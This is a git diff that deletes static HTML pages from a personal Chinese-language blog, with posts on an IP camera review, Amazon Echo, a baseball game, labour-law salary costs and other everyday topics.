    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-96-92-e8-81-8a-e5-8e-9f-e4-be-86-e5-9c-a8-e6-b7-98-e5-af-b6-e7-b6-b2-e6-90-9c-e5-b0-8b-e6-9d-b1-e8-a5-bf-e4-b9-9f-e6-98-af-e6-9c-83-e6-9c-89-e7-ae-a1-e5-88-b6-e7-9a-84/index.html b/themes/public/article/e9-96-92-e8-81-8a-e5-8e-9f-e4-be-86-e5-9c-a8-e6-b7-98-e5-af-b6-e7-b6-b2-e6-90-9c-e5-b0-8b-e6-9d-b1-e8-a5-bf-e4-b9-9f-e6-98-af-e6-9c-83-e6-9c-89-e7-ae-a1-e5-88-b6-e7-9a-84/index.html deleted file mode 100644 index 0d37a725..00000000 --- a/themes/public/article/e9-96-92-e8-81-8a-e5-8e-9f-e4-be-86-e5-9c-a8-e6-b7-98-e5-af-b6-e7-b6-b2-e6-90-9c-e5-b0-8b-e6-9d-b1-e8-a5-bf-e4-b9-9f-e6-98-af-e6-9c-83-e6-9c-89-e7-ae-a1-e5-88-b6-e7-9a-84/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - [閒聊]原來在淘寶網搜尋東西也是會有管制的... | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-689-bj4/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-689-bj4/index.html deleted file mode 100644 index 3126098b..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-689-bj4/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - [雜念] 689 BJ4 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 689 BJ4

    -
    - - - 2014-04-02 - - - - - - - - - 未分類 - - - - - -
    - - -

    參加VMWARE的研討會,報到序號好死不死的就是 689 ……………….

    - -

    圖片 5

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-amazon-echo-home-automation/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-amazon-echo-home-automation/index.html deleted file mode 100644 index 6a339e68..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-amazon-echo-home-automation/index.html +++ /dev/null @@ -1,422 +0,0 @@ - - - - - - - - - - [雜念] Amazon Echo - Home Automation | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] Amazon Echo - Home Automation

    -
    - - - 2015-07-08 - - - - - - - - - 其他 - - - - - -
    - - -

    Amazon Echo 這玩意推出滿久了,雖說只支援英文語音辨識

    - -

    不過看到國外玩家開始拿來應用在智慧家庭的情境上,滿有趣的

    - -

    而且很符合我之前做過的夢 (真的是作夢夢到的..)

    - -

    夢裡面,家裡是由一部叫做 Alice 的電腦控制 (Alice的由來是取自於惡靈古堡)

    - -

    要執行動作前,先喊一聲 Alice ,然後 Alice 會回應 「What Can I do for you ?」,接著開始下指令

    - -

    - -

    今天在youtube 上看到這段影片,跟我夢中的情境滿類似的

    - -

     

    - -

    https://www.youtube.com/watch?v=amiQorlYTqg

    - -

     

    - -

    他是先喊 Alexa todo , 然後Alexa 回應以後,再接著下指令,很有趣!

    - -

    就不知道中文環境還有自然語言辨識還需要多久才會出現..

    - -

    然後  Amazon Echo 開始支援一些智慧插座了,像是 Belkin Wemo Switch  還有 Philips Hue

    - -

    希望大陸的小米那邊能夠趕快山寨出來(誤   …. 這樣才好壓低價格、迅速普及啊~~

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-avtech-avn701ez-ipcam-e4-bd-bf-e7-94-a8-e5-bf-83-e5-be-97/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-avtech-avn701ez-ipcam-e4-bd-bf-e7-94-a8-e5-bf-83-e5-be-97/index.html deleted file mode 100644 index 88a738d4..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-avtech-avn701ez-ipcam-e4-bd-bf-e7-94-a8-e5-bf-83-e5-be-97/index.html +++ /dev/null @@ -1,513 +0,0 @@ - - - - - - - - - - [雜念] AVTECH AVN701EZ IPCAM 使用心得 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] AVTECH AVN701EZ IPCAM 使用心得

    -
    - - - 2014-04-28 - - - - - - - - - 3C精品 - - - - - -
    - - -

    前陣子因為家裡遭小偷,損失了五六萬左右的現金和3C

    - -

    所以終於下定決心,買了一直想用的IPCAM來玩玩!

    - -

    不過因為是第一次用,所以還是先找找看入門級的機種

    - -

    在Y拍上剛好看到有人在賣 AVTECH AN701EZ ,還不到一千塊,AVTECH牌子也不算小,至少比起一些大陸的白牌設備來說。

    - -

    而且在台灣也有客服支援,想說就玩玩看吧!

    - -

    不過不知道是因為這支IPCAM的定位(入門、簡易),還是我對IPCAM的瞭解不夠

    - -

    使用上總覺得不夠理想,簡單說明筆記一下

    - -

     

    - -

    1.PUSH VIDEO 的時間太短、常常異常、看不到影片、在手機上啟動APP的時間太久

    - -

    會看上這支,很大的原因是因為PUSH VIDEO這個功能

    - -

    簡單來說就是當偵測到異常發生,IPCAM會把事件前後的影片發出到手機 <–這是我的理解

    - -

    不過,事情果然不像我想的這麼單純

    - -

    這支AN701EZ的PUSH VIDEO 是會在你的手機提示有偵測到異常

    - -

    然後你要打開程式,到回放的功能去播放(只有播放,不能下載,下載的功能要另外付費買PRO版的軟體才有)

    - -

    好,其實這樣也還OK,但是呢!

    - -

    實際上的影片並沒有真的傳送出來,APP上只是顯示偵測異常

    - -

    要回放影片,還是要連回去IPCAM的記憶體播放(只有10M)!

    - -

    也就是說,如果這支IPCAM被發現了,然後不管是拔掉電源、拔掉網路線,人在外面,就已經連不上了!

    - -

    那這樣還有個屁用喔!?

    - -

    再來,在手機上要啟動那個EAGLE EYE的APP常常會在那邊轉個二三十秒,我已經用iPhone5了,手機效率還是不夠好嗎?

    - -

    而且在IPHONE手機上看影片只有 352x240 …..規格上號稱720x480 ,結果只能在IPAD或者是 Android上用720x480的解析度瀏覽

    - -

    IPHONE的說還在改…….

    - -

     

    - -

    2.偵測很容易發生異常

    - -

    我開啟了移動偵測以及人體紅外線偵測,不過不曉得是「太靈敏」了,還是其他什麼問題

    - -

    常常會觸發錄影,但是畫面上卻又沒啥動靜,放一段白天和一段晚上觸發的錄影看看

    - -

    http://youtu.be/UTnzSUoPwfI

    - -

    http://youtu.be/P4nMVe-AYO4

    - -

    晚上的那段影片,還勉強可以解釋為畫面左邊書房的電腦上的LED引起觸發

    - -

    白天的影片,我真的看不出來哪裡有異常..

    - -

    而且錄影的時間只有三秒鐘,我是覺得太少了點,30秒可能會好一點..

    - -

     

    - -

    3.手機的提示很容易出問題

    - -

    在手機上開啟/關閉主動偵測,正常應該要有提示訊息的,可是有時候就是會收不到訊息

    - -

    像底下這張圖,這是我今天早上出門時設定的,可以看到訊息幾乎晚了一個小時才出現….

    - -

    如果是異常的通報,一個小時都不知道破壞到哪去了,搞不好IPCAM都被拆了,還能看到什麼??

    - -

     

    - -

    ipcam

    - -

     

    - -

    4.鏡頭變形

    - -

    從上面的影片可以看到,變形得滿厲害的,廠商回覆是說因為要為了廣角,所以才會這樣,問題是,角度也沒很大啊 = =

    - -

     

    - -

    講了那麼多,簡單說一下我自己心目中想要的IPCAM功能吧

    - -

    1.不管有沒有內建記憶卡,都要能持續錄影

    - -

    2.錄影的檔案,應該要能即時上傳到外部空間,不管是FTP、AMAZON、DROPBOX等等

    - -

    3.跟防盜主機一樣,由APP去遙控,出門前按一下,就開始監控,回家前先解除,解除後就不再對動態、紅外線等等偵測。要不然現在我回到家了,偵測還是持續在進行,

    - -

    然後我是設定偵測異常時,不發警報,但是會把檔案上傳到FTP,結果FTP上的空間就會越來越多…還要自己寫SCRIPT去刪除…

    - -

    總之呢,這支IPCAM,入門玩玩可以,真的要用的話,我可能還是會把這支賣掉,換其他比較高階的機種看看能不能符合我的需求吧…

    - -

     

    - -

    update

    - -

    補上一張在Android手機下看到的結果,不是我在講,這畫質是真的很糟糕吧….

    - -

     

    - -

    ipcam-01

    - -

     

    - -

    再次 Update

    - -

    在android 手機上開啟通知時,不像iPhone 會有通知訊息…

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-cjscope-e7-9a-84-e9-a9-85-e5-8b-95-e7-a8-8b-e5-bc-8f-e4-b8-8b-e8-bc-89-e5-92-8c-e5-91-bd-e5-90-8d-e6-96-b9-e5-bc-8f/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-cjscope-e7-9a-84-e9-a9-85-e5-8b-95-e7-a8-8b-e5-bc-8f-e4-b8-8b-e8-bc-89-e5-92-8c-e5-91-bd-e5-90-8d-e6-96-b9-e5-bc-8f/index.html deleted file mode 100644 index af4733a4..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-cjscope-e7-9a-84-e9-a9-85-e5-8b-95-e7-a8-8b-e5-bc-8f-e4-b8-8b-e8-bc-89-e5-92-8c-e5-91-bd-e5-90-8d-e6-96-b9-e5-bc-8f/index.html +++ /dev/null @@ -1,423 +0,0 @@ - - - - - - - - - - [雜念] CJSCOPE 的驅動程式下載和命名方式 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] CJSCOPE 的驅動程式下載和命名方式

    -
    - - - 2014-06-11 - - - - - - - - - 其他 - - - - - -
    - - -

    剛剛在閒晃看看能不能撿到便宜的筆電

    - -

    在Y拍上看到一台 CJSCOPE JS-153CR 滿符合我的需求的

    - -

    想說上CJSCOPE官網找找是不是可以支援Win7 , 發現CJSCOPE的驅動下載是用FTP的方式

    - -

    而且依照型號分清楚,其他廠商像是acer/asus/ibm/dell ,都還要自己去選硬體,然後一個一個點進去下載

    - -

    CJSCOPE提供的FTP下載實在是太方便了!

    - -

    而且我連進FTP之後,發現他驅動程式的命名,在檔名前面會加上順序 00 01 02 03 這樣

    - -

    直接看圖

    - -

    cjs_ftp

    - -

    巧的是,其實在下我也一直都用這種方式在整理公司內的筆電的驅動程式

    - -

    一樣,直接看圖..IBM R50e都多久以前的機種了,就知道我用這方法多久了..

    - -

    driver-order-by-serial

    - -

     

    - -

    這樣可以算是「英雄所見略同」嗎?  XDDD

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e3-80-8c-e5-85-a8-e8-b1-a1-e4-b8-bb-e5-a0-b4-e3-80-8d-e7-9a-84-e4-b8-80-e4-ba-9b-e5-bf-83-e5-be-97/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e3-80-8c-e5-85-a8-e8-b1-a1-e4-b8-bb-e5-a0-b4-e3-80-8d-e7-9a-84-e4-b8-80-e4-ba-9b-e5-bf-83-e5-be-97/index.html deleted file mode 100644 index 95d703a5..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e3-80-8c-e5-85-a8-e8-b1-a1-e4-b8-bb-e5-a0-b4-e3-80-8d-e7-9a-84-e4-b8-80-e4-ba-9b-e5-bf-83-e5-be-97/index.html +++ /dev/null @@ -1,447 +0,0 @@ - - - - - - - - - - [雜念] 「全象主場」的一些心得 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 「全象主場」的一些心得

    -
    - - - 2014-10-22 - - - - - - - - - 其他 - - - - - -
    - - -

    很久沒進場了,剛好幾個老同學突然間熱血了起來,又搶到了幾張票,所以大家揪一揪,進場看球啦! -底下是針對這場「全象主場」的一些心得

    - -

    1.人員進場管制 -我算是滿早到二樓入口排隊的,撇開前面慢慢解壓縮的排隊人群不提,其實是還滿有秩序的。 -但是現場不斷有耳語,說什麼只有排右邊入口的才能去排福袋,然後左邊的人群就發出抗議。 -或者是有外野票的球迷來說因為不能到內野,外野又沒有販賣區,所以他們想要先買(想也知道不可能) -群眾是盲目的,一群熱血的群眾更是可怕,如果球團能在這邊設置個NPC來回答問題,應該可以改善這些狀況,讓大家在排隊的時候更心安,不會受到未經證實的耳語干擾心情!

    - -

    2.主場應援設備 -昨天我坐在三壘側,內野11區,前方就是一對大喇叭,後來可能怕太大聲,所以撤走一個,音量我想應該是足夠的。 -可是在聲音的品質上,實在是有夠慘。而且似乎只有啦啦隊的聲音才會這樣,場地的麥克風測試和現場的廣播、球員的主題曲這都是OK的。 -但是常在播放對面啦啦隊呼口號的聲音時破音,讓人很受不了。 -賽前有聽到工作人員說這邊的喇叭似乎是臨時加設的,施工品質有待加強!

    - -

    3.全象主場? -前面說過,我坐在三壘這邊,在右外野部分有一整塊是Lamigo的位置,然後12區最前面一排有四五個小女生是LAMIGO的球迷,加上這場比賽我們打得很悶, -所以其實整場大部分時間都在聽小女生尖叫(!?)和右外野LAMIGO的加油聲音。 -其實還滿有感觸的,一個是這幾個小女生真勇敢,深入敵營還這麼用力加油! -另一個是LAMIGO有針對每個球員設計不同的口號,在現場聽了兩三次之後,我幾乎都會背了 …. -可是我們呢?除了恰恰有專屬的加油歌曲之外,其他球員就是安打安打全壘打、兄弟加油、玩了25年就是這些口號,久久沒進場,也不會有隔閡,完全無縫接軌。 -LAMIGO似乎有職業的應援團成員?(我不確定,有錯請指正),兄弟好像永遠就是固定的幾位義務性質的加油團(還看到好久不見的大帥,還是一樣….「真性情」..) -是不是因為這樣的關係,所以只能靠著球迷的熱情為球員加油,而沒有一套完整的應援方式。像是歌曲、口號、肢體動作、敲加油棒的節奏等等,應該可以有很多變化組合啊! -希望這部分能夠有更好的改變!

    - -

    另外,個人認為全象主場不是把客隊球迷趕到外野去當作沒看到就好。 -三壘區雖然有PS在帶動,可是少了應援團,就是很沒FEEL!雖然可以聽到一壘那邊的聲音,可是前面有提過喇叭的品質很糟糕,根本就是一種干擾! -如果三壘這邊也可以有應援團過來帶動,配合PS,我相信三壘這邊的氣氛一定可以更HIGH !而且可以針對少數客場球迷的口號作反制, -既然都喊出全象主場,居然還讓客場的球迷那麼HIGH,我覺得這點我不太能接受。 -應該可以想出一些不攻擊球員,但是又能夠反制對方的方式吧!?

    - -

    P.S -現場看P.S真的很「賞心悅目」,尤其是大家都超有節奏感的,個人的動作和音樂搭配得很好,尤其是從我的角度看過去一壘雖然都是看到背影,但還是可以感受到整個超「動感」的! -果然不枉費我專程進場看 P.S ! -尤其是芷盈開朗純真的笑容,讓這場悶爆了的比賽總算有一些亮點! -所以後來我幾乎都在P.S的區域出沒,反而很少在自己的座位上  XD

    - -

    4.球員的表現 -這部分就不多說了…… -我覺得有個地方很值得討論的是有一局(應該是二局上,失三分那局吧),有個球傳一壘失誤,許基宏追到球之後,很明顯已經來不及再傳二壘了。 -但是他還是硬往二壘丟,然後也丟歪了,雖然沒有讓對方再進壘,但是這個動作完全沒有必要啊! -再來就是勝拔失誤後,我有默默念了一下不會失分魔咒再現吧,結果事實證明,數據真的有參考價值………………..

    - -

    最後,身為一個很少進場的資深兄弟球迷(我們昨天還在開玩笑,我們開始看職棒的時候,可能現場很多人還沒出生…) -球賽的勝負其實已經看得很淡了 <—-硬要騙自己這樣 XD -相對的,更在意的是球賽的內容和場外的PS -今天進場感受到P.S的熱力之後,我想以後應該會增加我進場的次數吧! -希望之後可以有勇氣幫芷盈拍照!每次在觀景窗看到芷盈的目光掃過這邊,就算明知不是在看我這裡,也還是好害羞啊 >//////< -也希望球團、球員、還有球迷朋友們,大家可以努力打造更好更舒適的看球環境!

    - -

    也許會傷心,會低落、會感到憤怒和難過,但是象魂永遠不滅!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e4-b8-80-e4-be-8b-e4-b8-80-e4-bc-91-e5-b0-8d-e8-96-aa-e8-b3-87-e6-88-90-e6-9c-ac-e7-9a-84-e5-bd-b1-e9-9f-bf/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e4-b8-80-e4-be-8b-e4-b8-80-e4-bc-91-e5-b0-8d-e8-96-aa-e8-b3-87-e6-88-90-e6-9c-ac-e7-9a-84-e5-bd-b1-e9-9f-bf/index.html deleted file mode 100644 index b2820f1c..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e4-b8-80-e4-be-8b-e4-b8-80-e4-bc-91-e5-b0-8d-e8-96-aa-e8-b3-87-e6-88-90-e6-9c-ac-e7-9a-84-e5-bd-b1-e9-9f-bf/index.html +++ /dev/null @@ -1,418 +0,0 @@ - - - - - - - - - - [雜念] 一例一休對薪資成本的影響 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 一例一休對薪資成本的影響

    -
    - - - 2017-01-04 - - - - - - - - - 其他 - - - - - -
    - - -

    假設有一家A公司,有100個員工,每個人的薪資都是36000,時薪為150,每年人均營收貢獻為150萬台幣,所以營業額為15000萬,稅後利潤10% 1500萬都是老闆的 -

    - -

    這間公司所有員工除了週一到週五的八個小時外,每兩個週六要來上一天八小時班(大小禮拜的概念)

    - -

    同時一例一休後,上班時數及產出都不變

    - -

    加班費計算網址: http://labweb.mol.gov.tw/index_2.html#monthlyPay=36000&regularDayOffWorkReason=disaster&workhours=8%2C8%2C8%2C8%2C8%2C8%2C0

    - -

     

    - -

    在一例一休前

    - -

    每人單月薪資含加班費:36000 + 700*2(加班費) = 37400 ,單月薪資小計:37400 * 100 = 3740000,年度薪資含加班費總計:44880000

    - -

    一例一休後

    - -

    每人單月薪資含加班費: 36000 + 1900*2 = 39800,單月薪資小計: 39800 * 100 = 3980000,年度薪資含加班費總計:47760000

    - -

    還是一樣一年做一億五千萬,稅後利潤10% = 1500萬,但是人事成本增加了(47760000-44880000) = 2880000,所以老闆賺的變成15000000-2880000 = 12120000

    - -

    是原本的80.8%(1212000015000000) ,也就是說是老闆少賺了20%左右..

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e4-b8-ad-e8-8f-af-e9-9b-bb-e4-bf-a1-iphone-6-e9-a0-90-e8-b3-bc-e7-b6-b2-e9-a0-81-e9-8c-af-e8-aa-a4/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e4-b8-ad-e8-8f-af-e9-9b-bb-e4-bf-a1-iphone-6-e9-a0-90-e8-b3-bc-e7-b6-b2-e9-a0-81-e9-8c-af-e8-aa-a4/index.html deleted file mode 100644 index 9b7212ca..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e4-b8-ad-e8-8f-af-e9-9b-bb-e4-bf-a1-iphone-6-e9-a0-90-e8-b3-bc-e7-b6-b2-e9-a0-81-e9-8c-af-e8-aa-a4/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - [雜念] 中華電信 iPhone 6 預購 網頁錯誤... | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e4-bf-9d-e7-be-85-e6-b2-83-e5-85-8b-e8-bb-8a-e7-a6-8d-e4-ba-a1-e9-a7-95-e9-a7-9b-e9-81-ba-e5-ad-80-e5-91-8a-e4-bf-9d-e6-99-82-e6-8d-b7/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e4-bf-9d-e7-be-85-e6-b2-83-e5-85-8b-e8-bb-8a-e7-a6-8d-e4-ba-a1-e9-a7-95-e9-a7-9b-e9-81-ba-e5-ad-80-e5-91-8a-e4-bf-9d-e6-99-82-e6-8d-b7/index.html deleted file mode 100644 index 4d46ed41..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e4-bf-9d-e7-be-85-e6-b2-83-e5-85-8b-e8-bb-8a-e7-a6-8d-e4-ba-a1-e9-a7-95-e9-a7-9b-e9-81-ba-e5-ad-80-e5-91-8a-e4-bf-9d-e6-99-82-e6-8d-b7/index.html +++ /dev/null @@ -1,420 +0,0 @@ - - - - - - - - - - [雜念] 保羅沃克車禍亡 駕駛遺孀告保時捷 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 保羅沃克車禍亡 駕駛遺孀告保時捷

    -
    - - - 2014-05-14 - - - - - - - - - 未分類 - - - - - -
    - - -

    原文網址: http://udn.com/NEWS/ENTERTAINMENT/ENT5/8673956.shtml - - - - - - - -
    -保羅沃克車禍身亡,駕駛發生事故保時捷車的友人羅勃遺孀克莉絲汀提出告訴,認為保時捷該款車設計不良,導致意外發生,使自己面臨喪偶之痛。

    - -

    據「福斯新聞」報導,有關當局判定意外是因未遵守安全速限,使得車子失控撞上路樹起火,但克莉絲汀的訴狀表示丈夫當時並沒有超速駕車,反而車子設計有問題,保時捷方面尚未有回應。 -

    -
    前幾天在PTT上和鄉民「討論」iphone & android 系統的一些話題
    -
    有鄉民提到類似的論點,
    -
    「你手機公司為什麼要設計一個有安全漏洞的產品給我?」(指的是android的可以手動打開安裝未知來源APK 這個問題)
    -
    「我是消費者耶,我為什麼要去瞭解怎樣的行為會導致系統安全出現漏洞?」
    -
    同時也提出汽車駕駛這類的話題作為舉證
    -
    -
    今天再看到這篇新聞,還頗有FEEL的。
    -
    「我是消費者耶,我怎麼知道這樣的行為會導致車子不安全,你汽車公司不應該推出這種有可能讓使用者陷入危險情境的產品啊!」
    -
    滿好奇最後這個CASE會怎麼判的,如果真的贏了,那以後就很有得玩了!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-8d-9a-e5-ae-a2-e4-be-86-e4-b9-9f-e5-8a-a0-e5-85-a5-e5-8f-8d-e9-bb-91-e7-ae-b1-e6-9c-8d-e8-b2-bf-e7-9a-84-e8-a1-8c-e5-88-97-e5-95-a6/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e5-8d-9a-e5-ae-a2-e4-be-86-e4-b9-9f-e5-8a-a0-e5-85-a5-e5-8f-8d-e9-bb-91-e7-ae-b1-e6-9c-8d-e8-b2-bf-e7-9a-84-e8-a1-8c-e5-88-97-e5-95-a6/index.html deleted file mode 100644 index 29c2281b..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-8d-9a-e5-ae-a2-e4-be-86-e4-b9-9f-e5-8a-a0-e5-85-a5-e5-8f-8d-e9-bb-91-e7-ae-b1-e6-9c-8d-e8-b2-bf-e7-9a-84-e8-a1-8c-e5-88-97-e5-95-a6/index.html +++ /dev/null @@ -1,418 +0,0 @@ - - - - - - - - - - [雜念]博客來也加入反黑箱服貿的行列啦 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念]博客來也加入反黑箱服貿的行列啦

    -
    - - - 2014-03-20 - - - - - - - - - 未分類 - - - - - -
    - - -

    今天在八卦版鍵盤關心抗議的進度

    - -

    看到有鄉民貼出博客來網頁有藏頭

    - -

    作者  ikoyumi (小喚)                                         看板  Gossiping -標題  [爆卦] 博客來表態? -時間  Thu Mar 20 10:28:49 2014 -───────────────────────────────────────

    - -

    http://ppt.cc/XrLg -剛剛看到 -博客來也懂藏頭?

    - -

    底下有鄉民支援了博客來網頁的連結

    - -

    推 Nevar:http://ppt.cc/636d   柏克萊連結支援(?)

    - -

    我就順手把藏頭的部分標示出來了!

    - -

    統一這次要造反了嗎!?  Big Smile

    - -

    圖片 9

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-8f-b0-e5-8c-97-e6-94-b9-e8-ae-8a-e6-88-90-e7-9c-9f-e9-84-89-e6-b0-91-e7-89-88-e5-82-99-e4-bb-bd/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e5-8f-b0-e5-8c-97-e6-94-b9-e8-ae-8a-e6-88-90-e7-9c-9f-e9-84-89-e6-b0-91-e7-89-88-e5-82-99-e4-bb-bd/index.html deleted file mode 100644 index 110b28a8..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-8f-b0-e5-8c-97-e6-94-b9-e8-ae-8a-e6-88-90-e7-9c-9f-e9-84-89-e6-b0-91-e7-89-88-e5-82-99-e4-bb-bd/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - [雜念] 台北 改變成真 鄉民版 備份 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-8f-b0-e7-81-a3-e6-8a-80-e8-81-b7-e6-95-99-e8-82-b2-e7-9a-84-e5-8d-b1-e6-a9-9f-e8-88-87-e8-bd-89-e6-a9-9f-maker-e5-9e-8b-e6-8a-80-e8-81-b7-e6-95-99-e8-82-b2/index.html b/themes/public/article/e9-9b-9c-e5-bf-b5-e5-8f-b0-e7-81-a3-e6-8a-80-e8-81-b7-e6-95-99-e8-82-b2-e7-9a-84-e5-8d-b1-e6-a9-9f-e8-88-87-e8-bd-89-e6-a9-9f-maker-e5-9e-8b-e6-8a-80-e8-81-b7-e6-95-99-e8-82-b2/index.html deleted file mode 100644 index 404eaef9..00000000 --- a/themes/public/article/e9-9b-9c-e5-bf-b5-e5-8f-b0-e7-81-a3-e6-8a-80-e8-81-b7-e6-95-99-e8-82-b2-e7-9a-84-e5-8d-b1-e6-a9-9f-e8-88-87-e8-bd-89-e6-a9-9f-maker-e5-9e-8b-e6-8a-80-e8-81-b7-e6-95-99-e8-82-b2/index.html +++ /dev/null @@ -1,594 +0,0 @@ - - - - - - - - - - [雜念] 台灣技職教育的危機與轉機——Maker 型技職教育 全文網址: 台灣技職教育的危機與轉機 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [雜念] 台灣技職教育的危機與轉機——Maker 型技職教育 全文網址: 台灣技職教育的危機與轉機

    -
    - - - 2014-05-16 - - - - - - - - - 未分類 - - - - - -
    - - -

    原文網址: http://mag.udn.com/mag/news/storypage_preview_only.jsp?f_ART_ID=513875

    - -

    還滿喜歡這篇文章裡的一些論點

    - -

     

    - -

    ● 前言

    - -

